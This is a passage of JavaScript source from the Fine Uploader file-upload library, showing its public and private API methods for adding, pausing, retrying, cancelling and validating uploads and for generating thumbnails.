normalizeData = function() {\n                    if (qq.isFileList(data)) {\n                        data = Array.prototype.slice.call(data);\n                    }\n                    data = [].concat(data);\n                },\n\n                self = this,\n                verifiedFiles = [];\n\n            this._currentBatchId = batchId;\n\n            if (data) {\n                normalizeData();\n\n                qq.each(data, function(idx, fileContainer) {\n                    if (qq.isFileOrInput(fileContainer)) {\n                        processFileOrInput(fileContainer);\n                    }\n                    else if (qq.isBlob(fileContainer)) {\n                        processBlob(fileContainer);\n                    }\n                    else if (qq.isObject(fileContainer)) {\n                        if (fileContainer.blob && fileContainer.name) {\n                            processBlobData(fileContainer);\n                        }\n                        else if (fileContainer.canvas && fileContainer.name) {\n                            processCanvasData(fileContainer);\n                        }\n                    }\n                    else if (fileContainer.tagName && fileContainer.tagName.toLowerCase() === \"canvas\") {\n                        processCanvas(fileContainer);\n                    }\n                    else {\n                        self.log(fileContainer + \" is not a valid file container!  Ignoring!\", \"warn\");\n                    }\n                });\n\n                this.log(\"Received \" + verifiedFiles.length + \" files.\");\n                this._prepareItemsForUpload(verifiedFiles, params, endpoint);\n            }\n        },\n\n        cancel: function(id) {\n            this._handler.cancel(id);\n        },\n\n        cancelAll: function() {\n            var storedIdsCopy = [],\n                self = this;\n\n            qq.extend(storedIdsCopy, this._storedIds);\n            qq.each(storedIdsCopy, function(idx, storedFileId) {\n                self.cancel(storedFileId);\n            });\n\n            this._handler.cancelAll();\n        },\n\n        clearStoredFiles: function() {\n            this._storedIds = [];\n        },\n\n        continueUpload: function(id) {\n            var uploadData = this._uploadData.retrieve({id: id});\n\n            if (!qq.supportedFeatures.pause || !this._options.chunking.enabled) {\n                return false;\n            }\n\n            if (uploadData.status === qq.status.PAUSED) {\n                this.log(qq.format(\"Paused file ID {} ({}) will be continued.  Not paused.\", id, this.getName(id)));\n                this._uploadFile(id);\n                return true;\n            }\n            else {\n                this.log(qq.format(\"Ignoring continue for file ID {} ({}).  Not paused.\", id, this.getName(id)), \"error\");\n            }\n\n            return false;\n        },\n\n        deleteFile: function(id) {\n            return this._onSubmitDelete(id);\n        },\n\n        // TODO document?\n        doesExist: function(fileOrBlobId) {\n            return this._handler.isValid(fileOrBlobId);\n        },\n\n        // Generate a variable size thumbnail on an img or canvas,\n        // returning a promise that is fulfilled when the attempt completes.\n        // Thumbnail can either be based off of a URL for an image returned\n        // by the server in the upload response, or the associated `Blob`.\n        drawThumbnail: function(fileId, imgOrCanvas, maxSize, fromServer, customResizeFunction) {\n            var promiseToReturn = new qq.Promise(),\n                fileOrUrl, options;\n\n            if (this._imageGenerator) {\n                fileOrUrl = this._thumbnailUrls[fileId];\n                options = {\n                    customResizeFunction: customResizeFunction,\n                    maxSize: maxSize > 0 ? maxSize : null,\n                    scale: maxSize > 0\n                };\n\n                // If client-side preview generation is possible\n                // and we are not specifically looking for the image URl returned by the server...\n                if (!fromServer && qq.supportedFeatures.imagePreviews) {\n                    fileOrUrl = this.getFile(fileId);\n                }\n\n                /* jshint eqeqeq:false,eqnull:true */\n                if (fileOrUrl == null) {\n                    promiseToReturn.failure({container: imgOrCanvas, error: \"File or URL not found.\"});\n                }\n                else {\n                    this._imageGenerator.generate(fileOrUrl, imgOrCanvas, options).then(\n                        function success(modifiedContainer) {\n                            promiseToReturn.success(modifiedContainer);\n                        },\n\n                        function failure(container, reason) {\n                            promiseToReturn.failure({container: container, error: reason || \"Problem generating thumbnail\"});\n                        }\n                    );\n                }\n            }\n            else {\n                promiseToReturn.failure({container: imgOrCanvas, error: \"Missing image generator module\"});\n            }\n\n            return promiseToReturn;\n        },\n\n        getButton: function(fileId) {\n            return this._getButton(this._buttonIdsForFileIds[fileId]);\n        },\n\n        getEndpoint: function(fileId) {\n            return this._endpointStore.get(fileId);\n        },\n\n        getFile: function(fileOrBlobId) {\n            return this._handler.getFile(fileOrBlobId) || null;\n        },\n\n        getInProgress: function() {\n            return this._uploadData.retrieve({\n                status: [\n                    qq.status.UPLOADING,\n                    qq.status.UPLOAD_RETRYING,\n                    qq.status.QUEUED\n                ]\n            }).length;\n        },\n\n        getName: function(id) {\n            return this._uploadData.retrieve({id: id}).name;\n        },\n\n        // Parent ID for a specific file, or null if this is the parent, or if it has no parent.\n        getParentId: function(id) {\n            var uploadDataEntry = this.getUploads({id: id}),\n                parentId = null;\n\n            if (uploadDataEntry) {\n                if (uploadDataEntry.parentId !== undefined) {\n                    parentId = uploadDataEntry.parentId;\n                }\n            }\n\n            return parentId;\n        },\n\n        getResumableFilesData: function() {\n            return this._handler.getResumableFilesData();\n        },\n\n        getSize: function(id) {\n            return this._uploadData.retrieve({id: id}).size;\n        },\n\n        getNetUploads: function() {\n            return this._netUploaded;\n        },\n\n        getRemainingAllowedItems: function() {\n            var allowedItems = this._currentItemLimit;\n\n            if (allowedItems > 0) {\n                return allowedItems - this._netUploadedOrQueued;\n            }\n\n            return null;\n        },\n\n        getUploads: function(optionalFilter) {\n            return this._uploadData.retrieve(optionalFilter);\n        },\n\n        getUuid: function(id) {\n            return this._uploadData.retrieve({id: id}).uuid;\n        },\n\n        log: function(str, level) {\n            if (this._options.debug && (!level || level === \"info\")) {\n                qq.log(\"[Fine Uploader \" + qq.version + \"] \" + str);\n            }\n            else if (level && level !== \"info\") {\n                qq.log(\"[Fine Uploader \" + qq.version + \"] \" + str, level);\n\n            }\n        },\n\n        pauseUpload: function(id) {\n            var uploadData = this._uploadData.retrieve({id: id});\n\n            if (!qq.supportedFeatures.pause || !this._options.chunking.enabled) {\n                return false;\n            }\n\n            // Pause only really makes sense if the file is uploading or retrying\n            if (qq.indexOf([qq.status.UPLOADING, qq.status.UPLOAD_RETRYING], uploadData.status) >= 0) {\n                if (this._handler.pause(id)) {\n                    this._uploadData.setStatus(id, qq.status.PAUSED);\n                    return true;\n                }\n                else {\n                    this.log(qq.format(\"Unable to pause file ID {} ({}).\", id, this.getName(id)), \"error\");\n                }\n            }\n            else {\n                this.log(qq.format(\"Ignoring pause for file ID {} ({}).  Not in progress.\", id, this.getName(id)), \"error\");\n            }\n\n            return false;\n        },\n\n        reset: function() {\n            this.log(\"Resetting uploader...\");\n\n            this._handler.reset();\n            this._storedIds = [];\n            this._autoRetries = [];\n            this._retryTimeouts = [];\n            this._preventRetries = [];\n            this._thumbnailUrls = [];\n\n            qq.each(this._buttons, function(idx, button) {\n                button.reset();\n            });\n\n            this._paramsStore.reset();\n            this._endpointStore.reset();\n            this._netUploadedOrQueued = 0;\n            this._netUploaded = 0;\n            this._uploadData.reset();\n            this._buttonIdsForFileIds = [];\n\n            this._pasteHandler && this._pasteHandler.reset();\n            this._options.session.refreshOnReset && this._refreshSessionData();\n\n            this._succeededSinceLastAllComplete = [];\n            this._failedSinceLastAllComplete = [];\n\n            this._totalProgress && this._totalProgress.reset();\n        },\n\n        retry: function(id) {\n            return this._manualRetry(id);\n        },\n\n        scaleImage: function(id, specs) {\n            var self = this;\n\n            return qq.Scaler.prototype.scaleImage(id, specs, {\n                log: qq.bind(self.log, self),\n                getFile: qq.bind(self.getFile, self),\n                uploadData: self._uploadData\n            });\n        },\n\n        setCustomHeaders: function(headers, id) {\n            this._customHeadersStore.set(headers, id);\n        },\n\n        setDeleteFileCustomHeaders: function(headers, id) {\n            this._deleteFileCustomHeadersStore.set(headers, id);\n        },\n\n        setDeleteFileEndpoint: function(endpoint, id) {\n            this._deleteFileEndpointStore.set(endpoint, id);\n        },\n\n        setDeleteFileParams: function(params, id) {\n            this._deleteFileParamsStore.set(params, id);\n        },\n\n        // Re-sets the default endpoint, an endpoint for a specific file, or an endpoint for a specific button\n        setEndpoint: function(endpoint, id) {\n            this._endpointStore.set(endpoint, id);\n        },\n\n        setForm: function(elementOrId) {\n            this._updateFormSupportAndParams(elementOrId);\n        },\n\n        setItemLimit: function(newItemLimit) {\n            this._currentItemLimit = newItemLimit;\n        },\n\n        setName: function(id, newName) {\n            this._uploadData.updateName(id, newName);\n        },\n\n        setParams: function(params, id) {\n            this._paramsStore.set(params, id);\n        },\n\n        setUuid: function(id, newUuid) {\n            return this._uploadData.uuidChanged(id, newUuid);\n        },\n\n        uploadStoredFiles: function() {\n            if (this._storedIds.length === 0) {\n                this._itemError(\"noFilesError\");\n            }\n            else {\n                this._uploadStoredFiles();\n            }\n        }\n    };\n\n    /**\n     * Defines the private (internal) API for FineUploaderBasic mode.\n     */\n    qq.basePrivateApi = {\n        // Updates internal state with a file record (not backed by a live file).  Returns the assigned ID.\n        _addCannedFile: function(sessionData) {\n            var id = this._uploadData.addFile({\n                uuid: sessionData.uuid,\n                name: sessionData.name,\n                size: sessionData.size,\n                status: qq.status.UPLOAD_SUCCESSFUL\n            });\n\n            sessionData.deleteFileEndpoint && this.setDeleteFileEndpoint(sessionData.deleteFileEndpoint, id);\n            sessionData.deleteFileParams && this.setDeleteFileParams(sessionData.deleteFileParams, id);\n\n            if (sessionData.thumbnailUrl) {\n                this._thumbnailUrls[id] = sessionData.thumbnailUrl;\n            }\n\n            this._netUploaded++;\n            this._netUploadedOrQueued++;\n\n            return id;\n        },\n\n        _annotateWithButtonId: function(file, associatedInput) {\n            if (qq.isFile(file)) {\n                file.qqButtonId = this._getButtonId(associatedInput);\n            }\n        },\n\n        _batchError: function(message) {\n            this._options.callbacks.onError(null, null, message, undefined);\n        },\n\n        _createDeleteHandler: function() {\n            var self = this;\n\n            return new qq.DeleteFileAjaxRequester({\n                method: this._options.deleteFile.method.toUpperCase(),\n                maxConnections: this._options.maxConnections,\n                uuidParamName: this._options.request.uuidName,\n                customHeaders: this._deleteFileCustomHeadersStore,\n                paramsStore: this._deleteFileParamsStore,\n                endpointStore: this._deleteFileEndpointStore,\n                cors: this._options.cors,\n                log: qq.bind(self.log, self),\n                onDelete: function(id) {\n                    self._onDelete(id);\n                    self._options.callbacks.onDelete(id);\n                },\n                onDeleteComplete: function(id, xhrOrXdr, isError) {\n                    self._onDeleteComplete(id, xhrOrXdr, isError);\n                    self._options.callbacks.onDeleteComplete(id, xhrOrXdr, isError);\n                }\n\n            });\n        },\n\n        _createPasteHandler: function() {\n            var self = this;\n\n            return new qq.PasteSupport({\n                targetElement: this._options.paste.targetElement,\n                callbacks: {\n                    log: qq.bind(self.log, self),\n                    pasteReceived: function(blob) {\n                        self._handleCheckedCallback({\n                            name: \"onPasteReceived\",\n                            callback: qq.bind(self._options.callbacks.onPasteReceived, self, blob),\n                            onSuccess: qq.bind(self._handlePasteSuccess, self, blob),\n                            identifier: \"pasted image\"\n                        });\n                    }\n                }\n            });\n        },\n\n        _createStore: function(initialValue, _readOnlyValues_) {\n            var store = {},\n                catchall = initialValue,\n                perIdReadOnlyValues = {},\n                readOnlyValues = _readOnlyValues_,\n                copy = function(orig) {\n                    if (qq.isObject(orig)) {\n                        return qq.extend({}, orig);\n                    }\n                    return orig;\n                },\n                getReadOnlyValues = function() {\n                    if (qq.isFunction(readOnlyValues)) {\n                        return readOnlyValues();\n                    }\n                    return readOnlyValues;\n                },\n                includeReadOnlyValues = function(id, existing) {\n                    if (readOnlyValues && qq.isObject(existing)) {\n                        qq.extend(existing, getReadOnlyValues());\n                    }\n\n                    if (perIdReadOnlyValues[id]) {\n                        qq.extend(existing, perIdReadOnlyValues[id]);\n                    }\n                };\n\n            return {\n                set: function(val, id) {\n                    /*jshint eqeqeq: true, eqnull: true*/\n                    if (id == null) {\n                        store = {};\n                        catchall = copy(val);\n                    }\n                    else {\n                        store[id] = copy(val);\n                    }\n                },\n\n                get: function(id) {\n                    var values;\n\n                    /*jshint eqeqeq: true, eqnull: true*/\n                    if (id != null && store[id]) {\n                        values = store[id];\n                    }\n                    else {\n                        values = copy(catchall);\n                    }\n\n                    includeReadOnlyValues(id, values);\n\n                    return copy(values);\n                },\n\n                addReadOnly: function(id, values) {\n                    // Only applicable to Object stores\n                    if (qq.isObject(store)) {\n                        // If null ID, apply readonly values to all files\n                        if (id === null) {\n                            if (qq.isFunction(values)) {\n                                readOnlyValues = values;\n                            }\n                            else {\n                                readOnlyValues = readOnlyValues || {};\n                                qq.extend(readOnlyValues, values);\n                            }\n                        }\n                        else {\n                            perIdReadOnlyValues[id] = perIdReadOnlyValues[id] || {};\n                            qq.extend(perIdReadOnlyValues[id], values);\n                        }\n                    }\n                },\n\n                remove: function(fileId) {\n                    return delete store[fileId];\n                },\n\n                reset: function() {\n                    store = {};\n                    perIdReadOnlyValues = {};\n                    catchall = initialValue;\n                }\n            };\n        },\n\n        _createUploadDataTracker: function() {\n            var self = this;\n\n            return new qq.UploadData({\n                getName: function(id) {\n                    return self.getName(id);\n                },\n                getUuid: function(id) {\n                    return self.getUuid(id);\n                },\n                getSize: function(id) {\n                    return self.getSize(id);\n                },\n                onStatusChange: function(id, oldStatus, newStatus) {\n                    self._onUploadStatusChange(id, oldStatus, newStatus);\n                    self._options.callbacks.onStatusChange(id, oldStatus, newStatus);\n                    self._maybeAllComplete(id, newStatus);\n\n                    if (self._totalProgress) {\n                        setTimeout(function() {\n                            self._totalProgress.onStatusChange(id, oldStatus, newStatus);\n                        }, 0);\n                    }\n                }\n            });\n        },\n\n        /**\n         * Generate a tracked upload button.\n         *\n         * @param spec Object containing a required `element` property\n         * along with optional `multiple`, `accept`, and `folders`.\n         * @returns {qq.UploadButton}\n         * @private\n         */\n        _createUploadButton: function(spec) {\n            var self = this,\n                acceptFiles = spec.accept || this._options.validation.acceptFiles,\n                allowedExtensions = spec.allowedExtensions || this._options.validation.allowedExtensions,\n                button;\n\n            function allowMultiple() {\n                if (qq.supportedFeatures.ajaxUploading) {\n                    // Workaround for bug in iOS7+ (see #1039)\n                    if (self._options.workarounds.iosEmptyVideos &&\n                        qq.ios() &&\n                        !qq.ios6() &&\n                        self._isAllowedExtension(allowedExtensions, \".mov\")) {\n\n                        return false;\n                    }\n\n                    if (spec.multiple === undefined) {\n                        return self._options.multiple;\n                    }\n\n                    return spec.multiple;\n                }\n\n                return false;\n            }\n\n            button = new qq.UploadButton({\n                acceptFiles: acceptFiles,\n                element: spec.element,\n                focusClass: this._options.classes.buttonFocus,\n                folders: spec.folders,\n                hoverClass: this._options.classes.buttonHover,\n                ios8BrowserCrashWorkaround: this._options.workarounds.ios8BrowserCrash,\n                multiple: allowMultiple(),\n                name: this._options.request.inputName,\n                onChange: function(input) {\n                    self._onInputChange(input);\n                },\n                title: spec.title == null ? this._options.text.fileInputTitle : spec.title\n            });\n\n            this._disposeSupport.addDisposer(function() {\n                button.dispose();\n            });\n\n            self._buttons.push(button);\n\n            return button;\n        },\n\n        _createUploadHandler: function(additionalOptions, namespace) {\n            var self = this,\n                lastOnProgress = {},\n                options = {\n                    debug: this._options.debug,\n                    maxConnections: this._options.maxConnections,\n                    cors: this._options.cors,\n                    paramsStore: this._paramsStore,\n                    endpointStore: this._endpointStore,\n                    chunking: this._options.chunking,\n                    resume: this._options.resume,\n                    blobs: this._options.blobs,\n                    log: qq.bind(self.log, self),\n                    preventRetryParam: this._options.retry.preventRetryResponseProperty,\n                    onProgress: function(id, name, loaded, total) {\n                        if (loaded < 0 || total < 0) {\n                            return;\n                        }\n\n                        if (lastOnProgress[id]) {\n                            if (lastOnProgress[id].loaded !== loaded || lastOnProgress[id].total !== total) {\n                                self._onProgress(id, name, loaded, total);\n                                self._options.callbacks.onProgress(id, name, loaded, total);\n                            }\n                        }\n                        else {\n                            self._onProgress(id, name, loaded, total);\n                            self._options.callbacks.onProgress(id, name, loaded, total);\n                        }\n\n                        lastOnProgress[id] = {loaded: loaded, total: total};\n\n                    },\n                    onComplete: function(id, name, result, xhr) {\n                        delete lastOnProgress[id];\n\n                        var status = self.getUploads({id: id}).status,\n                            retVal;\n\n                        // This is to deal with some observed cases where the XHR readyStateChange handler is\n                        // invoked by the browser multiple times for the same XHR instance with the same state\n                        // readyState value.  Higher level: don't invoke complete-related code if we've already\n                        // done this.\n                        if (status === qq.status.UPLOAD_SUCCESSFUL || status === qq.status.UPLOAD_FAILED) {\n                            return;\n                        }\n\n                        retVal = self._onComplete(id, name, result, xhr);\n\n                        // If the internal `_onComplete` handler returns a promise, don't invoke the `onComplete` callback\n                        // until the promise has been fulfilled.\n                        if (retVal instanceof  qq.Promise) {\n                            retVal.done(function() {\n                                self._options.callbacks.onComplete(id, name, result, xhr);\n                            });\n                        }\n                        else {\n                            self._options.callbacks.onComplete(id, name, result, xhr);\n                        }\n                    },\n                    onCancel: function(id, name, cancelFinalizationEffort) {\n                        var promise = new qq.Promise();\n\n                        self._handleCheckedCallback({\n                            name: \"onCancel\",\n                            callback: qq.bind(self._options.callbacks.onCancel, self, id, name),\n                            onFailure: promise.failure,\n                            onSuccess: function() {\n                                cancelFinalizationEffort.then(function() {\n                                    self._onCancel(id, name);\n                                });\n\n                                promise.success();\n                            },\n                            identifier: id\n                        });\n\n                        return promise;\n                    },\n                    onUploadPrep: qq.bind(this._onUploadPrep, this),\n                    onUpload: function(id, name) {\n                        self._onUpload(id, name);\n                        self._options.callbacks.onUpload(id, name);\n                    },\n                    onUploadChunk: function(id, name, chunkData) {\n                        self._onUploadChunk(id, chunkData);\n                        self._options.callbacks.onUploadChunk(id, name, chunkData);\n                    },\n                    onUploadChunkSuccess: function(id, chunkData, result, xhr) {\n                        self._options.callbacks.onUploadChunkSuccess.apply(self, arguments);\n                    },\n                    onResume: function(id, name, chunkData) {\n                        return self._options.callbacks.onResume(id, name, chunkData);\n                    },\n                    onAutoRetry: function(id, name, responseJSON, xhr) {\n                        return self._onAutoRetry.apply(self, arguments);\n                    },\n                    onUuidChanged: function(id, newUuid) {\n                        self.log(\"Server requested UUID change from '\" + self.getUuid(id) + \"' to '\" + newUuid + \"'\");\n                        self.setUuid(id, newUuid);\n                    },\n                    getName: qq.bind(self.getName, self),\n                    getUuid: qq.bind(self.getUuid, self),\n                    getSize: qq.bind(self.getSize, self),\n                    setSize: qq.bind(self._setSize, self),\n                    getDataByUuid: function(uuid) {\n                        return self.getUploads({uuid: uuid});\n                    },\n                    isQueued: function(id) {\n                        var status = self.getUploads({id: id}).status;\n                        return status === qq.status.QUEUED ||\n                            status === qq.status.SUBMITTED ||\n                            status === qq.status.UPLOAD_RETRYING ||\n                            status === qq.status.PAUSED;\n                    },\n                    getIdsInProxyGroup: self._uploadData.getIdsInProxyGroup,\n                    getIdsInBatch: self._uploadData.getIdsInBatch\n                };\n\n            qq.each(this._options.request, function(prop, val) {\n                options[prop] = val;\n            });\n\n            options.customHeaders = this._customHeadersStore;\n\n            if (additionalOptions) {\n                qq.each(additionalOptions, function(key, val) {\n                    options[key] = val;\n                });\n            }\n\n            return new qq.UploadHandlerController(options, namespace);\n        },\n\n        _fileOrBlobRejected: function(id) {\n            this._netUploadedOrQueued--;\n            this._uploadData.setStatus(id, qq.status.REJECTED);\n        },\n\n        _formatSize: function(bytes) {\n            var i = -1;\n            do {\n                bytes = bytes / 1000;\n                i++;\n            } while (bytes > 999);\n\n            return Math.max(bytes, 0.1).toFixed(1) + this._options.text.sizeSymbols[i];\n        },\n\n        // Creates an internal object that tracks various properties of each extra button,\n        // and then actually creates the extra button.\n        _generateExtraButtonSpecs: function() {\n            var self = this;\n\n            this._extraButtonSpecs = {};\n\n            qq.each(this._options.extraButtons, function(idx, extraButtonOptionEntry) {\n                var multiple = extraButtonOptionEntry.multiple,\n                    validation = qq.extend({}, self._options.validation, true),\n                    extraButtonSpec = qq.extend({}, extraButtonOptionEntry);\n\n                if (multiple === undefined) {\n                    multiple = self._options.multiple;\n                }\n\n                if (extraButtonSpec.validation) {\n                    qq.extend(validation, extraButtonOptionEntry.validation, true);\n                }\n\n                qq.extend(extraButtonSpec, {\n                    multiple: multiple,\n                    validation: validation\n                }, true);\n\n                self._initExtraButton(extraButtonSpec);\n            });\n        },\n\n        _getButton: function(buttonId) {\n            var extraButtonsSpec = this._extraButtonSpecs[buttonId];\n\n            if (extraButtonsSpec) {\n                return extraButtonsSpec.element;\n            }\n            else if (buttonId === this._defaultButtonId) {\n                return this._options.button;\n            }\n        },\n\n        /**\n         * Gets the internally used tracking ID for a button.\n         *\n         * @param buttonOrFileInputOrFile `File`, `<input type=\"file\">`, or a button container element\n         * @returns {*} The button's ID, or undefined if no ID is recoverable\n         * @private\n         */\n        _getButtonId: function(buttonOrFileInputOrFile) {\n            var inputs, fileInput,\n                fileBlobOrInput = buttonOrFileInputOrFile;\n\n            // We want the reference file/blob here if this is a proxy (a file that will be generated on-demand later)\n            if (fileBlobOrInput instanceof qq.BlobProxy) {\n                fileBlobOrInput = fileBlobOrInput.referenceBlob;\n            }\n\n            // If the item is a `Blob` it will never be associated with a button or drop zone.\n            if (fileBlobOrInput && !qq.isBlob(fileBlobOrInput)) {\n                if (qq.isFile(fileBlobOrInput)) {\n                    return fileBlobOrInput.qqButtonId;\n                }\n                else if (fileBlobOrInput.tagName.toLowerCase() === \"input\" &&\n                    fileBlobOrInput.type.toLowerCase() === \"file\") {\n\n                    return fileBlobOrInput.getAttribute(qq.UploadButton.BUTTON_ID_ATTR_NAME);\n                }\n\n                inputs = fileBlobOrInput.getElementsByTagName(\"input\");\n\n                qq.each(inputs, function(idx, input) {\n                    if (input.getAttribute(\"type\") === \"file\") {\n                        fileInput = input;\n                        return false;\n                    }\n                });\n\n                if (fileInput) {\n                    return fileInput.getAttribute(qq.UploadButton.BUTTON_ID_ATTR_NAME);\n                }\n            }\n        },\n\n        _getNotFinished: function() {\n            return this._uploadData.retrieve({\n                status: [\n                    qq.status.UPLOADING,\n                    qq.status.UPLOAD_RETRYING,\n                    qq.status.QUEUED,\n                    qq.status.SUBMITTING,\n                    qq.status.SUBMITTED,\n                    qq.status.PAUSED\n                ]\n            }).length;\n        },\n\n        // Get the validation options for this button.  Could be the default validation option\n        // or a specific one assigned to this particular button.\n        _getValidationBase: function(buttonId) {\n            var extraButtonSpec = this._extraButtonSpecs[buttonId];\n\n            return extraButtonSpec ? extraButtonSpec.validation : this._options.validation;\n        },\n\n        _getValidationDescriptor: function(fileWrapper) {\n            if (fileWrapper.file instanceof qq.BlobProxy) {\n                return {\n                    name: qq.getFilename(fileWrapper.file.referenceBlob),\n                    size: fileWrapper.file.referenceBlob.size\n                };\n            }\n\n            return {\n                name: this.getUploads({id: fileWrapper.id}).name,\n                size: this.getUploads({id: fileWrapper.id}).size\n            };\n        },\n\n        _getValidationDescriptors: function(fileWrappers) {\n            var self = this,\n                fileDescriptors = [];\n\n            qq.each(fileWrappers, function(idx, fileWrapper) {\n                fileDescriptors.push(self._getValidationDescriptor(fileWrapper));\n            });\n\n            return fileDescriptors;\n        },\n\n        // Allows camera access on either the default or an extra button for iOS devices.\n        _handleCameraAccess: function() {\n            if (this._options.camera.ios && qq.ios()) {\n                var acceptIosCamera = \"image/*;capture=camera\",\n                    button = this._options.camera.button,\n                    buttonId = button ? this._getButtonId(button) : this._defaultButtonId,\n                    optionRoot = this._options;\n\n                // If we are not targeting the default button, it is an \"extra\" button\n                if (buttonId && buttonId !== this._defaultButtonId) {\n                    optionRoot = this._extraButtonSpecs[buttonId];\n                }\n\n                // Camera access won't work in iOS if the `multiple` attribute is present on the file input\n                optionRoot.multiple = false;\n\n                // update the options\n                if (optionRoot.validation.acceptFiles === null) {\n                    optionRoot.validation.acceptFiles = acceptIosCamera;\n                }\n                else {\n                    optionRoot.validation.acceptFiles += \",\" + acceptIosCamera;\n                }\n\n                // update the already-created button\n                qq.each(this._buttons, function(idx, button) {\n                    if (button.getButtonId() === buttonId) {\n                        button.setMultiple(optionRoot.multiple);\n                        button.setAcceptFiles(optionRoot.acceptFiles);\n\n                        return false;\n                    }\n                });\n            }\n        },\n\n        _handleCheckedCallback: function(details) {\n            var self = this,\n                callbackRetVal = details.callback();\n\n            if (qq.isGenericPromise(callbackRetVal)) {\n                this.log(details.name + \" - waiting for \" + details.name + \" promise to be fulfilled for \" + details.identifier);\n                return callbackRetVal.then(\n                    function(successParam) {\n                        self.log(details.name + \" promise success for \" + details.identifier);\n                        details.onSuccess(successParam);\n                    },\n                    function() {\n                        if (details.onFailure) {\n                            self.log(details.name + \" promise failure for \" + details.identifier);\n                            details.onFailure();\n                        }\n                        else {\n                            self.log(details.name + \" promise failure for \" + details.identifier);\n                        }\n                    });\n            }\n\n            if (callbackRetVal !== false) {\n                details.onSuccess(callbackRetVal);\n            }\n            else {\n                if (details.onFailure) {\n                    this.log(details.name + \" - return value was 'false' for \" + details.identifier + \".  Invoking failure callback.\");\n                    details.onFailure();\n                }\n                else {\n                    this.log(details.name + \" - return value was 'false' for \" + details.identifier + \".  Will not proceed.\");\n                }\n            }\n\n            return callbackRetVal;\n        },\n\n        // Updates internal state when a new file has been received, and adds it along with its ID to a passed array.\n        _handleNewFile: function(file, batchId, newFileWrapperList) {\n            var self = this,\n                uuid = qq.getUniqueId(),\n                size = -1,\n                name = qq.getFilename(file),\n                actualFile = file.blob || file,\n                handler = this._customNewFileHandler ?\n                    this._customNewFileHandler :\n                    qq.bind(self._handleNewFileGeneric, self);\n\n            if (!qq.isInput(actualFile) && actualFile.size >= 0) {\n                size = actualFile.size;\n            }\n\n            handler(actualFile, name, uuid, size, newFileWrapperList, batchId, this._options.request.uuidName, {\n                uploadData: self._uploadData,\n                paramsStore: self._paramsStore,\n                addFileToHandler: function(id, file) {\n                    self._handler.add(id, file);\n                    self._netUploadedOrQueued++;\n                    self._trackButton(id);\n                }\n            });\n        },\n\n        _handleNewFileGeneric: function(file, name, uuid, size, fileList, batchId) {\n            var id = this._uploadData.addFile({uuid: uuid, name: name, size: size, batchId: batchId});\n\n            this._handler.add(id, file);\n            this._trackButton(id);\n\n            this._netUploadedOrQueued++;\n\n            fileList.push({id: id, file: file});\n        },\n\n        _handlePasteSuccess: function(blob, extSuppliedName) {\n            var extension = blob.type.split(\"/\")[1],\n                name = extSuppliedName;\n\n            /*jshint eqeqeq: true, eqnull: true*/\n            if (name == null) {\n                name = this._options.paste.defaultName;\n            }\n\n            name += \".\" + extension;\n\n            this.addFiles({\n                name: name,\n                blob: blob\n            });\n        },\n\n        // Creates an extra button element\n        _initExtraButton: function(spec) {\n            var button = this._createUploadButton({\n                accept: spec.validation.acceptFiles,\n                allowedExtensions: spec.validation.allowedExtensions,\n                element: spec.element,\n                folders: spec.folders,\n                multiple: spec.multiple,\n                title: spec.fileInputTitle\n            });\n\n            this._extraButtonSpecs[button.getButtonId()] = spec;\n        },\n\n        _initFormSupportAndParams: function() {\n            this._formSupport = qq.FormSupport && new qq.FormSupport(\n                this._options.form, qq.bind(this.uploadStoredFiles, this), qq.bind(this.log, this)\n            );\n\n            if (this._formSupport && this._formSupport.attachedToForm) {\n                this._paramsStore = this._createStore(\n                    this._options.request.params,  this._formSupport.getFormInputsAsObject\n                );\n\n                this._options.autoUpload = this._formSupport.newAutoUpload;\n                if (this._formSupport.newEndpoint) {\n                    this._options.request.endpoint = this._formSupport.newEndpoint;\n                }\n            }\n            else {\n                this._paramsStore = this._createStore(this._options.request.params);\n            }\n        },\n\n        _isDeletePossible: function() {\n            if (!qq.DeleteFileAjaxRequester || !this._options.deleteFile.enabled) {\n                return false;\n            }\n\n            if (this._options.cors.expected) {\n                if (qq.supportedFeatures.deleteFileCorsXhr) {\n                    return true;\n                }\n\n                if (qq.supportedFeatures.deleteFileCorsXdr && this._options.cors.allowXdr) {\n                    return true;\n                }\n\n                return false;\n            }\n\n            return true;\n        },\n\n        _isAllowedExtension: function(allowed, fileName) {\n            var valid = false;\n\n            if (!allowed.length) {\n                return true;\n            }\n\n            qq.each(allowed, function(idx, allowedExt) {\n                /**\n                 * If an argument is not a string, ignore it.  Added when a possible issue with MooTools hijacking the\n                 * `allowedExtensions` array was discovered.  See case #735 in the issue tracker for more details.\n                 */\n                if (qq.isString(allowedExt)) {\n                    /*jshint eqeqeq: true, eqnull: true*/\n                    var extRegex = new RegExp(\"\\\\.\" + allowedExt + \"$\", \"i\");\n\n                    if (fileName.match(extRegex) != null) {\n                        valid = true;\n                        return false;\n                    }\n                }\n            });\n\n            return valid;\n        },\n\n        /**\n         * Constructs and returns a message that describes an item/file error.  Also calls `onError` callback.\n         *\n         * @param code REQUIRED - a code that corresponds to a stock message describing this type of error\n         * @param maybeNameOrNames names of the items that have failed, if applicable\n         * @param item `File`, `Blob`, or `<input type=\"file\">`\n         * @private\n         */\n        _itemError: function(code, maybeNameOrNames, item) {\n            var message = this._options.messages[code],\n                allowedExtensions = [],\n                names = [].concat(maybeNameOrNames),\n                name = names[0],\n                buttonId = this._getButtonId(item),\n                validationBase = this._getValidationBase(buttonId),\n                extensionsForMessage, placeholderMatch;\n\n            function r(name, replacement) { message = message.replace(name, replacement); }\n\n            qq.each(validationBase.allowedExtensions, function(idx, allowedExtension) {\n                /**\n                 * If an argument is not a string, ignore it.  Added when a possible issue with MooTools hijacking the\n                 * `allowedExtensions` array was discovered.  See case #735 in the issue tracker for more details.\n                 */\n                if (qq.isString(allowedExtension)) {\n                    allowedExtensions.push(allowedExtension);\n                }\n            });\n\n            extensionsForMessage = allowedExtensions.join(\", \").toLowerCase();\n\n            r(\"{file}\", this._options.formatFileName(name));\n            r(\"{extensions}\", extensionsForMessage);\n            r(\"{sizeLimit}\", this._formatSize(validationBase.sizeLimit));\n            r(\"{minSizeLimit}\", this._formatSize(validationBase.minSizeLimit));\n\n            placeholderMatch = message.match(/(\\{\\w+\\})/g);\n            if (placeholderMatch !== null) {\n                qq.each(placeholderMatch, function(idx, placeholder) {\n                    r(placeholder, names[idx]);\n                });\n            }\n\n            this._options.callbacks.onError(null, name, message, undefined);\n\n            return message;\n        },\n\n        /**\n         * Conditionally orders a manual retry of a failed upload.\n         *\n         * @param id File ID of the failed upload\n         * @param callback Optional callback to invoke if a retry is prudent.\n         * In lieu of asking the upload handler to retry.\n         * @returns {boolean} true if a manual retry will 